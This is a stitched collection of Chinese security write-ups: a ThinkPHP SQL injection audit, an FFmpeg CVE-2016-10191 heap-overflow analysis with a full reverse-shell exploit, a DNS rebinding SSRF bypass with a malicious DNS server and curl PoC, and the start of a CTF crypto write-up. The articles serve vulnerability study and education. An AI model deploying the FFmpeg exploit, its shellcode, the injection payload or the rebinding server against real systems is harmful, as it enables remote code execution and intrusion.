$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
这里替换了一些信息后成了最终的 `sql` 语句，我们可控的是 `where` ，所以我们跟入 `parseWhere`：
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
....
}else{ // 使用数组表达式
$operate = isset($where['_logic'])?strtoupper($where['_logic']):'';
if(in_array($operate,array('AND','OR','XOR'))){
....
}else{
....
}
foreach ($where as $key=>$val){
....
if(0===strpos($key,'_')) {
....
}else{
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if(strpos($key,'|')) {
...
}elseif(strpos($key,'&')){
.....
}else{
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
}
}
$whereStr .= $operate;
}
$whereStr = substr($whereStr,0,-strlen($operate));
}
return empty($whereStr)?'':' WHERE '.$whereStr;
}
如果传入一个数组，最终会进入到，最后我留下的这个 `parseWhereItem`。
这个函数是审计 `TP` 注入时的关键函数。
这里的 `$val` 即使是一个数组也是可以的，所以我们可以传入一个数组进 `parseWhereItem` 函数，继续跟进：
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(...) {
....
}elseif(....){
.....
}elseif('bind' == $exp ){
...
}elseif('exp' == $exp ){ //看这里~~~~
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){
.....
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){
.....
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
...
}
}else {
....
}
return $whereStr;
}
这里省略了大部分代码，在留下的一个逻辑中可以看到，当 `$val` 为数组且第一位是 `exp` 时，直接将 `$val`
的第二位拼接进去了，没有过滤。。。我们可以传入个 `payload` 试试。
我们可以在 `parseSql` 函数 `return` 前加入一行 `print_r($sql);`
然后传入：
成功注入了，至于利用就不过多叙述了。
## ThinkPHP5.0
在 `TP5` 中 `parseWhereItem` 在 `Db.class.php`，但其实也有一段和 3.2 中差不多的代码：
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}
但是在 `TP5.0` 却加入了一个全局过滤：
他在我们的 `EXP` 后面给多加了一个空格，导致这里不能用了，贴一下这个在 `5.0` 中这个函数的代码：
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT|NOTLIKE|LIKE)$/i',$val[0])) {
...
}elseif('exp'==strtolower($val[0])){
...
}elseif(preg_match('/^(NOTIN|NOT IN|IN)$/i',$val[0])){
...
}elseif(preg_match('/(NOTBETWEEN|NOT BETWEEN|BETWEEN)/i',$val[0])){ // 看这里~~~
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
}else{
throw_exception(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
...
}
}else {
...
}
return $whereStr;
}
可以前面两个正则都使用了 `^` 和 `$` 来限定正则表达式的开始和结束。但是 `BETWEEN` 这里却没有，只要 `$val[0]` 里带有
`between` 即可，在下面中也没有对 `val[0]` 带入 `parseValue` 进行过滤，那么这里我们能就可以插入单引号。
举个例子：
我们传入：`id[0]=BETWEEN '1234&id[1]=abcd`
调试图：
可以看到 `abcd` 被我们逃逸出来了。到这里注入就算完成了。具体的利用得看实际情况中。
## ThinkPHP5.1
在 `TP5.1` 中全部参数都被绑定了，弟弟没有 `0day` 在手，所以无法分享这个版本。。233
## 关于 TP 的总结
其实其他函数可能还有注入，但是这里就不再去深入了，只分析了三个不同版本的 `parseWhereItem`
函数。其中可能有什么有误或者不清楚的地方，欢迎师傅们提出问题一起探讨。
这里就不得不提一手 红日团队 的：<https://github.com/hongriSec/PHP-Audit-Labs>
里面也有一些关于 `TP` 的 | 社区文章 |
**作者：栈长@蚂蚁金服巴斯光年安全实验室**
* * *
## **一、前言**
FFmpeg是一个著名的处理音视频的开源项目，使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。网上对CVE-2016-10190已经有了很多分析文章，但是CVE-2016-10191尚未有其他人分析过。本文详细分析了CVE-2016-10191，是学习漏洞挖掘以及利用的一个非常不错的案例。
## **二、漏洞成因分析**
在 RTMP协议中，最小的发送数据包的单位是一个 chunk。客户端和服务器会互相协商好发送给对方的 chunk 的最大大小，初始为 0x80 个字节。一个
RTMP Message 如果超出了Max chunk size, 就需要被拆分成多个 chunk 来发送。在 chunk 的 header 中会带有
Chunk Stream ID 字段（后面简称 CSID），用于对等端在收到 chunk 的时候重新组装成一个 Message，相同的CSID 的
chunk 是属于同一个 Message 的。
在每一个 Chunk 的 Message Header 部分都会有一个 Size 字段存储该 chunk 所属的 Message 的大小，按道理如果是同一个
Message 的 chunk 的话，那么 size 字段都应该是相同的。这次漏洞的起因是对于属于同一个 Message 的 Chunk的 size
字段没有校验前后是否一致，导致写入堆的时候缓冲区溢出。
漏洞发生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函数中，漏洞相关部分的源代码如下
size = size - p->offset; //size 为 chunk 中提取的 size 字段
//没有检查前后 size 是否一致
toread = FFMIN(size, chunk_size);//控制toread的值
if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) {
ff_rtmp_packet_destroy(p);
return AVERROR(EIO);
}
在 max chunk size 为0x80的前提下，如果前一个 chunk 的 size 为一个比较下的数值，如0xa0，而后一个 chunk 的
size 为一个非常大的数值，如0x2000, 那么程序会分配一个0xa0大小的缓冲区用来存储整个
Message，第一次调用ffurlreadcomplete函数会读取0x80个字节，放到缓冲区中，而第二次调用的时候也是读取0x80个字节，这就造成了缓冲区的溢出。
## **官方修补方案**
非常简单，只要加入对前后两个 chunk 的 size 大小是否一致的判断就行了，如果不一致的话就报错，并且直接把前一个 chunk 给销毁掉。
+ if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) {
+ av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %d\n",
+ size,
+ prev_pkt[channel_id].size);
+ ff_rtmp_packet_destroy(&prev_pkt[channel_id]);
+ prev_pkt[channel_id].read = 0;
+ }
+
## **三、漏洞利用环境的搭建**
漏洞利用的靶机环境
操作系统：Ubuntu 16.04 x64
FFmpeg版本：3.2.1
(参照<https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译，需要把官方教程中提及的所有>
encoder编译进去。）
官方的编译过程由于很多都是静态编译，在一定程度上降低了利用难度。
## **四、漏洞利用脚本的编写**
首先要确定大致的利用思路，由于是堆溢出，而且是任意多个字节的，所以第一步是观察一下堆上有什么比较有趣的数据结构可以覆盖。堆上主要有一个RTMPPacket结构体的数组，每一个RTMPPakcet就对应一个
RTMP Message，RTMPPacket的结构体定义是这样的：
/**
* structure for holding RTMP packets
*/
typedefstructRTMPPacket {
intchannel_id; ///< RTMP channel ID (nothing to do with audio/video channels though)
RTMPPacketType type; ///< packet payload type
uint32_t timestamp; ///< packet full timestamp
uint32_t ts_field; ///< 24-bit timestamp or increment to the previous one, in milliseconds (latter only for media packets). Clipped to a maximum of 0xFFFFFF, indicating an extended timestamp field.
uint32_t extra; ///< probably an additional channel ID used during streaming data //这个是 Message Stream ID？
uint8_t *data; ///< packet payload
int size; ///< packet payload size
int offset; ///< amount of data read so far
int read; ///< amount read, including headers
} RTMPPacket;
其中有一个很重要的 data 字段就指向这个 Message 的 data buffer，也是分配在堆上。客户端在收到服务器发来的 RTMP
包的时候会把包的内容存储在 data buffer 上，所以如果我们控制了RTMPPacket中的 data 指针，就可以做到任意地址写了。
我们的最终目的是要执行一段shellcode，反弹一个 shell
到我们的恶意服务器上。而要执行shellcode，可以通过mprotect函数将一段内存区域的权限修改为rwx，然后将shellcode部署到这段内存区域内，然后跳转过去执行。那么怎么才能去执行mprotect呢，当然是通过
ROP 了。ROP 可以部署在堆上，然后在程序中寻找合适的 gadget 把栈指针迁移到堆上就行了。
那么第一步就是如何控制RTMPPacket中的 data 指针了，我们先发一个 chunk
给客户端，CSID为0x4，程序为调用下面这个函数在堆上分配一个RTMPPacket[20] 的数组，然后在数组下面开辟一段buffer存储Message的
data。
if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,
channel_id)) < 0)
很容易想到利用堆溢出覆盖这个RTMPPacket的数组就可以了，但是这时候的堆布局数组是在可溢出的heap
chunk的上方，怎么办？再发送一个CSID为20的 chunk
给客户端，ff_rtmp_check_alloc_array会调用realloc函数给数组重新分配更大的空间，然后数组就跑到下面去了。此时的堆布局如下
然后我们就可以构造数据包来溢出覆盖数组了，我们在数据包中伪造一个RTMPPacket结构体，然后把数组的第二项覆盖成我们伪造的结构体。其中 data
字段指向 got 表中的realloc（为什么覆盖realloc后面会提）， size 随意指定一个0x4141, read 字段指定为0x180,
只要不为0就行了（为0的话会在堆上malloc一块区域然后把 data 指针指向这块区域）。
这之后我们再发送 CSID 为2的一个 chunk，chunk 的内容就是要修改的 got 表的内容。这里我们覆盖成movrsp, rax这个gadget
的地址，用来迁移栈。接下来我们就把 ROP 部署在堆上。ROP 做了这么几件事：
1 调用mprotect使得代码段可写
2 把shellcode写入0x40000起始的位置
3 跳转到0x400000执行shellcode
发送足够数量的包部署好 ROP 之后，就要想办法调用realloc函数了，ffrtmpcheckallocarray函数调用了realloc, 发一个
CSID
为63的过去，就能触发这个函数调用realloc，在函数调用realloc之前正好能将RTMPPacket数组的起始地址填入rax，然后调用realloc的时候因为
got 表被覆写了，实际调用了movrsp,
rax，然后就成功让栈指针指向堆上了。之后就可以成功开始执行我们的shellcode了。这个时候整个堆的布局如下：
最后利用成功的截图如下：
先在本机开启一个恶意的 RTMP 服务端
然后使用ffmpeg程序去连接上图的服务端
在另一个终端用nc监听31337端口
可以看到程序执行了我们的shellcode之后成功连上了31337端口，并反弹了一个 shell。
最后附上完整的exp，根据<https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913修改而来>
#!/usr/bin/python
#coding=utf-8
importos
import socket
importstruct
from time import sleep
frompwn import *
bind_ip = '0.0.0.0'
bind_port = 12345
elf = ELF('/home/dddong/bin/ffmpeg')
gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux')))
\# Gadgets that we need to know inside binary
\# to successfully exploit it remotely
add_esp_f8 = 0x00000000006719e3
pop_rdi = gadget('pop rdi; ret')
pop_rsi = gadget('pop rsi; ret')
pop_rdx = gadget('pop rdx; ret')
pop_rax = gadget('pop rax; ret')
mov_rsp_rax = gadget('movrsp, rax; ret')
mov_gadget = gadget('mov qword ptr [rax], rsi ; ret')
got_realloc = elf.got['realloc']
log.info("got_reallocaddr:%#x" % got_realloc)
plt_mprotect = elf.plt['mprotect']
log.info("plt_mprotectaddr:%#x" % plt_mprotect)
shellcode_location = 0x400000
\# backconnect 127.0.0.1:31337 x86_64 shellcode
shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode #8字节对齐
defcreate_payload(size, data, channel_id):
"""
生成一个RTMP Message
"""
payload = ''
#Message header的类型为1
payload += p8((1 << 6) + channel_id) # (hdr<< 6) &channel_id;
payload += '\0\0\0' # ts_field
payload += p24(size) # size
payload += p8(0x00) # Message type
payload += data # data
return payload
defcreate_rtmp_packet(channel_id, write_location, size=0x4141):
"""
创造一个RTMPPacket结构体
"""
data = ''
data += p32(channel_id) # channel_id
data += p32(0) # type
data += p32(0) # timestamp
data += p32(0) # ts_field
data += p64(0) # extra
data += p64(write_location) # write_location - data
data += p32(size) # size
data += p32(0) # offset
data += p64(0x180) # read
return data
def p24(data):
packed_data = p32(data, endian='big')[1:]
assert(len(packed_data) == 3)
returnpacked_data
defhandle_request(client_socket):
v = client_socket.recv(1) #接收握手包C0
client_socket.send(p8(3)) #发送握手包S0, 版本号
payload = ''
payload += '\x00' * 4 #好像是 timestamp，没什么卵用
payload += '\x00' * 4 #这四个字节是 Server 的版本号，这里设置为全0，防止客户端走校验的流程
payload += os.urandom(1536 - 8) #剩下的都随机生成
client_socket.send(payload) #发送握手包S1
client_socket.send(payload) #发送握手包S2
client_socket.recv(1536) #接收握手包C1
client_socket.recv(1536) #接收握手包C2
#以上就是整个握手过程
print 'sending payload'
payload = create_payload(0xa0, 'U' * 0x80, 4)
client_socket.send(payload)
payload = create_payload(0xa0, 'A' * 0x80, 20)
client_socket.send(payload)
data = ''
data += 'U' * 0x20 # the rest of chunk
data += p64(0) # zerobytes
data += p64(0x6a1) # real size of chunk, 这一行size 可能需要根据实际情况更改
data += p64(add_esp_f8) # trampoline to rop
data += 'Y' * (0x30 - 8) # channel_zero, 填充RTMPPacket[0]
data += 'Y' * 0x20 # channel_one, 填充部分RTMPPacket[1]
payload = create_payload(0x2000, data, 4)
client_socket.send(payload) #到这一步程序并没有崩溃
data = ''
data += 'I' * 0x10 # fill the previous RTMPPacket[1]
#data += p64(add_rsp_a8)
data += create_rtmp_packet(2, got_realloc)
data += 'D' * (0x80 - len(data)) #填充到0x80个字节
payload = create_payload(0x1800, data, 4)
client_socket.send(payload)
#把 got 表中av_realloc改写
jmp_to_rop = ''
jmp_to_rop += p64(mov_rsp_rax)
jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop))
payload = create_payload(0x1800, jmp_to_rop, 2)
client_socket.send(payload)
rop = ''
rop += 'AAAAAAAA' * 6 # padding
rop += p64(pop_rdi)
rop += p64(shellcode_location) #shellcode不放在堆上是因为难以 leak 堆地址？
rop += p64(pop_rsi)
rop += p64(0x1000)
rop += p64(pop_rdx)
rop += p64(7)
rop += p64(plt_mprotect)
#mprotect(shellcode_location, 0x1000, 7)
write_location = shellcode_location
shellslices = map(''.join, zip(*[iter(shellcode)]*8)) #将shellcode以8个字节为1组打包
for shell in shellslices: #把shellcode通过rop的方式写入
rop += p64(pop_rax)
rop += p64(write_location)
rop += p64(pop_rsi)
rop += shell
rop += p64(mov_gadget)
write_location += 8
rop += p64(shellcode_location)
rop += 'X' * (0x80 - (len(rop) % 0x80)) #0x80个字节对齐
rop_slices = map(''.join, zip(*[iter(rop)]*0x80)) #将rop以0x80个字节为1组打包
for data in rop_slices:
payload = create_payload(0x2000, data, 4)
client_socket.send(payload)
# does not matter what data to send because we try to trigger
# av_realloc function inside ff_rtmp_check_alloc_array
# so that av_realloc(our_data) shall be called
payload = create_payload(1, 'A', 63)
client_socket.send(payload)
sleep(3)
print 'sending done'
#raw_input("wait for user interaction.")
client_socket.close()
if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((bind_ip, bind_port))
s.listen(5)
while True:
print 'Waiting for new client...'
client_socket, addr = s.accept()
handle_request(client_socket)
## **五、参考资料**
1 漏洞详情：<http://www.openwall.com/lists/oss-security/2017/01/31/12>
2
官方修复：<https://github.com/FFmpeg/FFmpeg/commit/7d57ca4d9a75562fa32e40766211de150f8b3ee7>
3
漏洞作者提供的exp：<https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913>
4 RTMP 介绍：<http://mingyangshang.github.io/2016/03/06/RTMP%E5%8D%8F%E8%AE%AE/>
5 RTMP 介绍：<http://www.jianshu.com/p/00aceabce944>
官方编译FFmpeg的教程：<https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu> | 社区文章 |
ERROR: type should be string, got "https://joychou.org/web/use-dnsrebinding-to-bypass-ssrf-in-java.html\n### 0x00 前言\n本篇文章会比较详细的介绍，如何使用DNS\nRebinding绕过Java中的SSRF。网上有蛮多资料介绍用该方法绕过常规的SSRF，但是由于Java的机制和PHP等语言不太一样。所以，我觉得，有必要单独拿出来聊一聊，毕竟目前很多甲方公司业务代码都是Java。\n### 0x01 SSRF修复逻辑\n 1. 取URL的Host\n 2. 取Host的IP\n 3. 判断是否是内网IP，是内网IP直接return，不再往下执行\n 4. 请求URL\n 5. 如果有跳转，取出跳转URL，执行第1步\n 6. 正常的业务逻辑里，当判断完成最后会去请求URL，实现业务逻辑。\n所以，其中会发起DNS请求的步骤为，第2、4、6步，看来至少要请求3次。因为第6步至少会执行1次DNS请求。\n另外，网上有很多不严谨的SSRF修复逻辑不会判断跳转，导致可以被Bypass。\n### 0x02 DNS Rebinding\n我个人理解如下：\n> 通过自己搭建DNS服务器，返回自己定义的IP，进行一些限制的绕过。\n所以，我们可以利用DNS Rebinding在第一次发起DNS请求时，返回外网IP，后面全部返回内网IP 这种方式来绕过如上的修复逻辑。\n我们来看下是如何绕过的。\n首先，修复逻辑中第2步发起DNS请求，DNS服务器返回一个外网IP，通过验证，执行到第四步。 \n接着，修复逻辑中第4步会发起DNS请求，DNS服务器返回一个内网IP。此时，SSRF已经产生。\n#### TTL\n不过，这一切都是在TTL为0的前提下。\n什么是TTL？\n> TTL(Time To\n> Live)是DNS缓存的时间。简单理解，假如一个域名的TTL为10s，当我们在这10s内，对该域名进行多次DNS请求，DNS服务器，只会收到一次请求，其他的都是缓存。\n所以搭建的DNS服务器，需要设置TTL为0。如果不设置TTL为0，第二次DNS请求返回的是第一次缓存的外网IP，也就不能绕过了。\n#### DNS请求过程\n步骤如下：\n 1. 查询本地DNS服务器(`/etc/resolv.conf`)\n 2. 如果有缓存，返回缓存的结果，不继续往下执行\n 3. 如果没有缓存，请求远程DNS服务器，并返回结果\n#### DNS缓存机制\n平时使用的MAC和Windows电脑上，为了加快HTTP访问速度，系统都会进行DNS缓存。但是，在Linux上，默认不会进行DNS缓存(<https://stackoverflow.com/questions/11020027/dns-caching-in-linux>) ，除非运行nscd等软件。\n不过，知道Linux默认不进行DNS缓存即可。这也解释了，我为什么同样的配置，我在MAC上配置不成功，Linux上配置可以。\n需要注意的是，IP为8.8.8.8的DNS地址，本地不会进行DNS缓存。\n### 0x03 漏洞测试\n准备如下环境：\n * Java Web应用\n * DNS服务器\n我们要先了解下Java应用的TTL。Java应用的默认TTL为10s，这个默认配置会导致DNS\nRebinding绕过失败。也就是说，默认情况下，Java应用不受DNS Rebinding影响。\nJava TTL的值可以通过下面三种方式进行修改：\n 1. JVM添加启动参数`-Dsun.net.inetaddr.ttl=0`\n 2. 通过代码进行修改`java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");`\n 3. 修改`/Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/security/java.security(我MAC下的路径)`里的`networkaddress.cache.negative.ttl=0`\n这个地方是个大坑，我之前在测试时，一直因为这个原因，导致测试不成功。\n这也是利用DNS\nRebinding过程中，Java和PHP不一样的地方。在测试PHP时，[这份PHP代码](https://github.com/chengable/safe_code/blob/master/ssrf_check.php)用DNS\nRebinding可以绕过，类似的代码Java就不能被绕过了。\n#### SSRF漏洞搭建\n用Java Spring写了一个漏洞测试地址为 \n<http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me。URL会进行SSRF验证。>\nSSRF修复代码如下。也可以在Github上查看<https://github.com/JoyChou93/trident>\n /*\n * check SSRF (判断逻辑为判断URL的IP是否是内网IP)\n * 如果是内网IP，返回false，表示checkSSRF不通过。否则返回true。即合法返回true\n * URL只支持HTTP协议\n * 设置了访问超时时间为3s\n */\n public static Boolean checkSSRF(String url) {\n HttpURLConnection connection;\n String finalUrl = url;\n try {\n do {\n // 判断当前请求的URL是否是内网ip\n Boolean bRet = isInnerIpFromUrl(finalUrl);\n if (bRet) {\n return false;\n }\n connection = (HttpURLConnection) new URL(finalUrl).openConnection();\n connection.setInstanceFollowRedirects(false);\n connection.setUseCaches(false); // 设置为false，手动处理跳转，可以拿到每个跳转的URL\n connection.setConnectTimeout(3*1000); // 设置连接超时时间为3s\n //connection.setRequestMethod(\"GET\");\n connection.connect(); // send dns request\n int responseCode = connection.getResponseCode(); // 发起网络请求 no dns request\n if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) {\n String redirectedUrl = connection.getHeaderField(\"Location\");\n if (null == redirectedUrl)\n break;\n finalUrl = redirectedUrl;\n // System.out.println(\"redirected url: \" + finalUrl);\n } else\n break;\n } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);\n connection.disconnect();\n } catch (Exception e) {\n return true;\n }\n return true;\n }\n /*\n 内网IP：\n 10.0.0.1 - 10.255.255.254 (10.0.0.0/8)\n 192.168.0.1 - 192.168.255.254 (192.168.0.0/16)\n 127.0.0.1 - 127.255.255.254 (127.0.0.0/8)\n 172.16.0.1 - 172.31.255.254 (172.16.0.0/12)\n */\n public static boolean isInnerIp(String strIP) throws IOException {\n try{\n String[] ipArr = strIP.split(\"\\\\.\");\n if (ipArr.length != 4){\n return false;\n }\n int ip_split1 = Integer.parseInt(ipArr[1]);\n return (ipArr[0].equals(\"10\") ||\n ipArr[0].equals(\"127\") ||\n (ipArr[0].equals(\"172\") && ip_split1 >= 16 && ip_split1 <=31) ||\n (ipArr[0].equals(\"192\") && ipArr[1].equals(\"168\")));\n }catch (Exception e) {\n return false;\n }\n }\n /*\n * 域名转换为IP\n * 会将各种进制的ip转为正常ip\n * 167772161转换为10.0.0.1\n * 127.0.0.1.xip.io转换为127.0.0.1\n */\n public static String DomainToIP(String domain) throws IOException{\n try {\n InetAddress IpAddress = InetAddress.getByName(domain); // send dns request\n return IpAddress.getHostAddress();\n }\n catch (Exception e) {\n return \"\";\n }\n }\n /*\n 从URL中获取域名\n 限制为http/https协议\n */\n public static String getUrlDomain(String url) throws IOException{\n try {\n URL u = new URL(url);\n if (!u.getProtocol().startsWith(\"http\") && !u.getProtocol().startsWith(\"https\")) {\n throw new IOException(\"Protocol error: \" + u.getProtocol());\n }\n return u.getHost();\n } catch (Exception e) {\n return \"\";\n }\n }\n#### 搭建DNS服务器\n域名配置如下：\n此时，当访问`dns_rebind.joychou.me`域名，先解析该域名的DNS域名为`ns.joychou.me`，`ns.joychou.me`指向47这台服务器。\nDNS Server代码如下，放在47服务器上。其功能是将第一次DNS请求返回`35.185.163.135`，后面所有请求返回`127.0.0.1`\ndns.py\n from twisted.internet import reactor, defer\n from twisted.names import client, dns, error, server\n record={}\n class DynamicResolver(object):\n def _doDynamicResponse(self, query):\n name = query.name.name\n if name not in record or record[name]<1:\n ip = \"35.185.163.135\"\n else:\n ip = \"127.0.0.1\"\n if name not in record:\n record[name] = 0\n record[name] += 1\n print name + \" ===> \" + ip\n answer = dns.RRHeader(\n name = name,\n type = dns.A,\n cls = dns.IN,\n ttl = 0,\n payload = dns.Record_A(address = b'%s' % ip, ttl=0)\n )\n answers = [answer]\n authority = []\n additional = []\n return answers, authority, additional\n def query(self, query, timeout=None):\n return defer.succeed(self._doDynamicResponse(query))\n def main():\n factory = server.DNSServerFactory(\n clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]\n )\n protocol = dns.DNSDatagramProtocol(controller=factory)\n reactor.listenUDP(53, protocol)\n reactor.run()\n if __name__ == '__main__':\n raise SystemExit(main())\n运行`python dns.py`，dig查看下返回。\n ➜ security dig @8.8.8.8 dns_rebind.joychou.me\n ; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me\n ; (1 server found)\n ;; global options: +cmd\n ;; Got answer:\n ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376\n ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0\n ;; QUESTION SECTION:\n ;dns_rebind.joychou.me. IN A\n ;; ANSWER SECTION:\n dns_rebind.joychou.me. 0 IN A 35.185.163.135\n ;; Query time: 203 msec\n ;; SERVER: 8.8.8.8#53(8.8.8.8)\n ;; WHEN: Fri Sep 8 14:52:43 2017\n ;; MSG SIZE rcvd: 55\n ➜ security dig @8.8.8.8 dns_rebind.joychou.me\n ; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me\n ; (1 server found)\n ;; global options: +cmd\n ;; Got answer:\n ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172\n ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0\n ;; QUESTION SECTION:\n ;dns_rebind.joychou.me. IN A\n ;; ANSWER SECTION:\n dns_rebind.joychou.me. 0 IN A 127.0.0.1\n ;; Query time: 172 msec\n ;; SERVER: 8.8.8.8#53(8.8.8.8)\n ;; WHEN: Fri Sep 8 14:52:45 2017\n ;; MSG SIZE rcvd: 55\n可以看到第一次返回35.185.163.135，第二次返回127.0.0.1。\ndig加上@8.8.8.8是指定本地DNS地址为8.8.8.8，因为该地址不会有缓存。每dig一次，DNS Server都会收到一次请求。\n#### 绕过POC\n curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'\n返回`test.joychou.org`页面内容`It works.` \n在测试时，我把该服务器的80端口已经限制为只有本地能访问，所以，我们的POC已经绕过内网的限制。\n### 0x04 总结\n * Java默认不存在被DNS Rebinding绕过风险（TTL默认为10）\n * PHP默认会被DNS Rebinding绕过\n * Linux默认不会进行DNS缓存\n### 0x05 参考\n 1. <[http://blog.csdn.net/u011721501/article/details/54667714>](http://blog.csdn.net/u011721501/article/details/54667714>);\n 2. <[https://stackoverflow.com/questions/11020027/dns-caching-in-linux>](https://stackoverflow.com/questions/11020027/dns-caching-in-linux>);\n 3. <[https://bobao.360.cn/learning/detail/3074.html>](https://bobao.360.cn/learning/detail/3074.html>);\n 4. <[https://github.com/chengable/safe_code/blob/master/ssrf_check.php>](https://github.com/chengable/safe_code/blob/master/ssrf_check.php>);\n 5. <[https://stackoverflow.com/questions/1256556/any-way-to-make-java-honor-the-dns-caching-timeout-ttl>](https://stackoverflow.com/questions/1256556/any-way-to-make-java-honor-the-dns-caching-timeout-ttl>);" | 社区文章 |
# 分析TetCTF 2020中Crypto方向题目
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在TetCTF 2020中有5道Crypto方向的题目，题目难度适中，在这里对题目进行一下分析。
## 2019rearrange
题目描述如下：
Rearrange your 2019, keep your joy, throw all your sorrow away!
Files:[2019rearrange.zip](https://github.com/ichunqiu-resources/anquanke/blob/master/008/2019rearrange.zip)
分析一下源码，发现我们的任务是已知`n, e1, noise1, c1, e2, noise2, c2`参数的值，求m的值。其中：
c1 ≡ (m+noise1)^e1 (mod n)
c2 ≡ (m+noise2)^e2 (mod n)
我们考虑采用多项式的思想来解题，将上述两个方程看成多项式的形式，有：
f1(x) = (x+noise1)^e1 - c1
f2(x) = (x+noise2)^e2 - c2
显然，当`x=m`时，有：
f1(x) = f2(x) = 0
即`x = m`是多项式f1和f2的一个公共解，也即`f3 =
gcd(f1,f2)`的一个公共解，因此我们只需要计算`gcd(f1,f2)`，即可得到关于m在模n意义下的多项式方程，从而求出m。
将上述推导写成SageMath代码形式如下：
from binascii import *
n = 99432613480939068351562426450736079548256649399824074125897023718511347184177748762719404609118999419018534660223144728190056735099787907299980625300234355248546050583144387977927309463501291854876892509630938617460690481497010165530214494306444999151252999850250583288798888278770654238342967653191171473013
e1, noise1, c1 = (9102, 42926763857648808452080305910241720054908809667539630194138718908195450776152522239791644645043372458139920503040529361726409749150633609223017012694569617522037971161448894459262110250322393703607247036022683527543284339763718964451482238661494995313111724858075982045508601405376724544741352142401794693054, 48276023282567629527195243870327301962656940680898728928903255577939008086657887592958073923577657060463242759606506812938152312008130198252498457257386413883443843887507528097024367788094619479032221547513746486475136282357337951126122694205225292004957793882304453164618423156810792171305978347365910972343)
e2, noise2, c2 = (2109, 51208643076502294588477225830948052764402322839126847164816681682357946991156728371602766970288519802146987999203830056494899211501025949997165558057140744445002699137286162872658309250096136525032077525028373299701055357023079519776378532002052890676446838318133048612893135724217301724754396467377231356425, 30644829500627448217295366947497931474953886995151259599263428251525601964766004111974074015504963773615137800165460045351514062357500899618814273135292073698096477339942069685331462828432407501524816375109607227118357281435280158409804228556720158131377342049528810546024786899763038442784789928604641662412)
def Pgcd(a, b):
while b != 0:
a, b = b, a%b
return a
P.<x> = PolynomialRing(Zmod(n))
f1 = (x+noise1)^e1 - c1
f2 = (x+noise2)^e2 - c2
f3 = Pgcd(f1,f2)
a, b = f3.coefficients()[::-1]
x = inverse_mod(ZZ(a),n)*(-b)
print unhexlify(hex(int(x))[2:-1])
执行脚本即可得到flag：
TetCTF{1t_1s_4ll_4b0ut_GCD_0v3r_p0lyn0m14ls}
## 2020th
题目描述如下：
Now, I bet you wish you were a prophet. Happy new year 2020th!
nc 207.148.119.58 6666
Files:[2020th.zip](https://github.com/ichunqiu-resources/anquanke/blob/master/008/2020th.zip)
